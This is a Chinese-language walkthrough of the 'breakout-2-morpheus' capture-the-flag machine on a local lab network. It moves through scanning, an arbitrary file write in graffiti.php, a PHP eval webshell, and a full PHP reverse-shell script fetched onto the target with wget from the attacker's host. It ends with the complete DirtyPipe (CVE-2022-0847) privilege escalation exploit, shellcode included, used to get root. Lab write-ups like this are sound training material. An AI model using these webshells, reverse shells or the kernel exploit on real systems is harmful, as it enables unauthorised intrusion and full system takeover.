breakout-2-morpheus
本地虛擬機部署,攻擊機Kali(IP:10.1.1.128)
主機發現
nmap -sn -T4 10.1.1.0/24

確定目標主機IP地址10.1.1.130
端口掃描
TCP端口掃描
nmap --min-rate 10000 -p- 10.1.1.130 -oA nmap_output/ports
--min-rate 最低速率,由於本地虛擬機部署,無需考慮被封殺和資源消耗
實戰紅隊中:
nmap -sS -n -Pn -T2 --max-rate 2000 --max-retries 2 -p- 10.1.1.130 -oA nmap_output/ports
-sS 半開掃描,並偽造源IP地址
-n 不使用DNS解析
-Pn 不做存活探測
-T 指定掃描速率,不指定默認為T3(1~5,數字越大掃描越快)
--max-rate 最大速率
--max-retries 最大嘗試次數
-oA 三種格式(全格式)輸出結果進行保存

開放端口:22,80,81
端口詳細信息掃描
nmap -sS -n -Pn -p 22,80,81,1 -sV -sC -O 10.1.1.130 -oA nmap_output/detail
1 指定一個處於關閉狀態下的端口。如端口:1,在判斷操作系統的時候,需要用開放的端口和關閉的端口進行比對
-p 指定端口
-sV 服務版本探測
-sC 使用nmap默認腳本掃描
-O 對操作系統進行識別探測

UDP端口掃描
nmap -sU --top-ports 100 10.1.1.130 -oA nmap_output/udp

漏洞腳本掃描
nmap --script=vuln -p22,80,81 10.1.1.130 -oA nmap_output/vuln

信息總結
OS:Linux 4.15 - 5.19
TCP端口開放:
22 OpenSSH 8.4p1 Debian 5 (protocol 2.0)
80 Apache httpd 2.4.51 ((Debian))
81 nginx 1.18.0 401 Authorization Required
UDP端口開放:目前無實際利用價值
常見漏洞信息:無
80端口web服務有robots.txt文件
/robots.txt
WEB
瀏覽器查看
http://10.1.1.130:80

有一行提示,大致意思是已經鎖定了SSH用户,所以推斷目標雖然開放了22端口,可能不允許進行遠程SSH登錄,突破口的策略將其放置到最後
查看網頁源代碼,並保存唯一的照片

圖片隱寫
查看圖片隱寫,無內容
robots.txt

沒有利用價值
目錄爆破
gobuster dir -u http://10.1.1.130 -a "Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0" -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

觀察了瀏覽器插件wappalyzer

並沒有發現web端的技術棧是什麼,所以窮舉一下,完善gobuster掃描,指定常見的文件後綴名
gobuster dir -u http://10.1.1.130 -a "Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0" -x php,jsp,asp,txt -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

發現graffiti.txt和graffiti.php graffiti 塗鴉
瀏覽器訪問這2個文件

提交數據抓包

發現提交數字1,保存在graffiti.txt文件中

任意文件寫入
修改一下參數,是否能操作graffiti.php文件

後端源代碼泄漏
返回包直接泄漏了graffiti.php後端源代碼
<h1>
<center>
Nebuchadnezzar Graffiti Wall
</center>
</h1>
<p>
<h1>
<br>
<center>
<br>
Nebuchadnezzar Graffiti Wall
<br>
<br>
</center>
<br>
</h1>
<br>
<p>
<br>
<?php
<br>
<br>
$file="graffiti.txt";
<br>
if($_SERVER['REQUEST_METHOD'] == 'POST') {
<br>
if (isset($_POST['file'])) {
<br>
$file=$_POST['file'];
<br>
}
<br>
if (isset($_POST['message'])) {
<br>
$handle = fopen($file, 'a+') or die('Cannot open file: ' . $file);
<br>
fwrite($handle, $_POST['message']);
<br>
fwrite($handle, "\n");
<br>
fclose($file);
<br>
}
<br>
}
<br>
<br>
// Display file
<br>
$handle = fopen($file,"r");
<br>
while (!feof($handle)) {
<br>
echo fgets($handle);
<br>
echo "<br>\n";
<br>
}
<br>
fclose($handle);
<br>
?>
<br>
<p>
<br>
Enter message:
<br>
<p>
<br>
<form method="post">
<br>
<label>Message</label><div><input type="text" name="message"></div>
<br>
<input type="hidden" name="file" value="graffiti.txt">
<br>
<div><button type="submit">Post</button></div>
<br>
</form>
<br>
1
<br>
<br>
<p>
Enter message:
<p>
<form method="post">
<label>Message</label><div><input type="text" name="message"></div>
<input type="hidden" name="file" value="graffiti.txt">
<div><button type="submit">Post</button></div>
</form>
回去訪問graffiti.php文件,發現提交的message參數值也同步顯示了

那麼直接在graffiti.php寫入一句話木馬
<?php @eval($_POST['cmd']);?>

驗證一下是否解析

成功執行php代碼
執行系統命令

反彈shell
kali自帶php反彈shell腳本文件
/usr/share/webshells/php/php-reverse-shell.php
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. The author accepts no liability
// for damage caused by this tool. If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.1.1.128'; // CHANGE THIS
$port = 12345; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
重命名為shell.php,更改反彈主機的IP及端口
在kali部署http服務託管該反彈shell.php文件
在目標機執行系統命令
cmd=system('wget http://10.1.1.128:8000/shell.php');


查看文件是否存在

監聽端口
nc -lvnp 12345
訪問http://10.1.1.130/shell.php


user FLAG.txt

提權
發現有Python3環境,提升一下shell交互性
python3 -c 'import pty;pty.spawn("/bin/bash")'

信息蒐集
通過執行uname -a得知系統版本為:
Linux morpheus 5.10.0-9-amd64 #1 SMP Debian 5.10.70-1 (2021-09-30) x86_64 GNU/Linux
搜索公開漏洞:
searchsploit linux 5.10.0

發現一個內核版本合適的本地權限提升漏洞
Linux Kernel 5.8 < 5.16.11 - Local Privilege Escalation (DirtyPipe)
查看詳細信息
searchsploit -p 50808

CVE-2022-0847
查看詳細利用腳本:/usr/share/exploitdb/exploits/linux/local/50808.c
50808.c
// Exploit Title: Linux Kernel 5.8 < 5.16.11 - Local Privilege Escalation (DirtyPipe)
// Exploit Author: blasty (peter@haxx.in)
// Original Author: Max Kellermann (max.kellermann@ionos.com)
// CVE: CVE-2022-0847
/* SPDX-License-Identifier: GPL-2.0 */
/*
* Copyright 2022 CM4all GmbH / IONOS SE
*
* author: Max Kellermann <max.kellermann@ionos.com>
*
* Proof-of-concept exploit for the Dirty Pipe
* vulnerability (CVE-2022-0847) caused by an uninitialized
* "pipe_buffer.flags" variable. It demonstrates how to overwrite any
* file contents in the page cache, even if the file is not permitted
* to be written, immutable or on a read-only mount.
*
* This exploit requires Linux 5.8 or later; the code path was made
* reachable by commit f6dd975583bd ("pipe: merge
* anon_pipe_buf*_ops"). The commit did not introduce the bug, it was
* there before, it just provided an easy way to exploit it.
*
* There are two major limitations of this exploit: the offset cannot
* be on a page boundary (it needs to write one byte before the offset
* to add a reference to this page to the pipe), and the write cannot
* cross a page boundary.
*
* Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
*
* Further explanation: https://dirtypipe.cm4all.com/
*/
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#include <stdint.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
// small (linux x86_64) ELF file matroshka doll that does;
// fd = open("/tmp/sh", O_WRONLY | O_CREAT | O_TRUNC);
// write(fd, elfcode, elfcode_len)
// chmod("/tmp/sh", 04755)
// close(fd);
// exit(0);
//
// the dropped ELF simply does:
// setuid(0);
// setgid(0);
// execve("/bin/sh", ["/bin/sh", NULL], [NULL]);
unsigned char elfcode[] = {
/*0x7f,*/ 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x48, 0x8d, 0x3d, 0x56, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x41, 0x02,
0x00, 0x00, 0x48, 0xc7, 0xc0, 0x02, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48,
0x89, 0xc7, 0x48, 0x8d, 0x35, 0x44, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc2,
0xba, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x0f,
0x05, 0x48, 0xc7, 0xc0, 0x03, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d,
0x3d, 0x1c, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0xed, 0x09, 0x00, 0x00,
0x48, 0xc7, 0xc0, 0x5a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff,
0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x74, 0x6d,
0x70, 0x2f, 0x73, 0x68, 0x00, 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e,
0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00,
0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38,
0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40,
0x00, 0x00, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x69,
0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x6a,
0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x1b, 0x00, 0x00, 0x00,
0x6a, 0x00, 0x48, 0x89, 0xe2, 0x57, 0x48, 0x89, 0xe6, 0x48, 0xc7, 0xc0,
0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00,
0x00, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00
};
/**
* Create a pipe where all "bufs" on the pipe_inode_info ring have the
* PIPE_BUF_FLAG_CAN_MERGE flag set.
*/
static void prepare_pipe(int p[2])
{
if (pipe(p)) abort();
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];
/* fill the pipe completely; each pipe_buffer will now have
the PIPE_BUF_FLAG_CAN_MERGE flag */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}
/* drain the pipe, freeing all pipe_buffer instances (but
leaving the flags initialized) */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
/* the pipe is now empty, and if somebody adds a new
pipe_buffer without initializing its "flags", the buffer
will be mergeable */
}
int hax(char *filename, long offset, uint8_t *data, size_t len) {
/* open the input file and validate the specified offset */
const int fd = open(filename, O_RDONLY); // yes, read-only! :-)
if (fd < 0) {
perror("open failed");
return -1;
}
struct stat st;
if (fstat(fd, &st)) {
perror("stat failed");
return -1;
}
/* create the pipe with all flags initialized with
PIPE_BUF_FLAG_CAN_MERGE */
int p[2];
prepare_pipe(p);
/* splice one byte from before the specified offset into the
pipe; this will add a reference to the page cache, but
since copy_page_to_iter_pipe() does not initialize the
"flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
--offset;
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
if (nbytes < 0) {
perror("splice failed");
return -1;
}
if (nbytes == 0) {
fprintf(stderr, "short splice\n");
return -1;
}
/* the following write will not create a new pipe_buffer, but
will instead write into the page cache, because of the
PIPE_BUF_FLAG_CAN_MERGE flag */
nbytes = write(p[1], data, len);
if (nbytes < 0) {
perror("write failed");
return -1;
}
if ((size_t)nbytes < len) {
fprintf(stderr, "short write\n");
return -1;
}
close(fd);
return 0;
}
int main(int argc, char **argv) {
if (argc != 2) {
fprintf(stderr, "Usage: %s SUID\n", argv[0]);
return EXIT_FAILURE;
}
char *path = argv[1];
uint8_t *data = elfcode;
int fd = open(path, O_RDONLY);
uint8_t *orig_bytes = malloc(sizeof(elfcode));
lseek(fd, 1, SEEK_SET);
read(fd, orig_bytes, sizeof(elfcode));
close(fd);
printf("[+] hijacking suid binary..\n");
if (hax(path, 1, elfcode, sizeof(elfcode)) != 0) {
printf("[~] failed\n");
return EXIT_FAILURE;
}
printf("[+] dropping suid shell..\n");
system(path);
printf("[+] restoring suid binary..\n");
if (hax(path, 1, orig_bytes, sizeof(elfcode)) != 0) {
printf("[~] failed\n");
return EXIT_FAILURE;
}
printf("[+] popping root shell.. (dont forget to clean up /tmp/sh ;))\n");
system("/tmp/sh");
return EXIT_SUCCESS;
}
EXP
需要gcc編譯環境

目標正好具有gcc環境

執行下載到目標主機,並進行gcc編譯

chmod +x compile.sh
./compile.sh
./exploit-1 #exploit-1利用失敗,原因可能是gcc版本問題
#劫持SUID二進制文件,先進行find查找
find / -perm -4000 2>/dev/null

以/usr/bin/sudo為例,執行:
./exploit-2 /usr/bin/sudo

獲得root權限
root FLAG.txt

用户hash
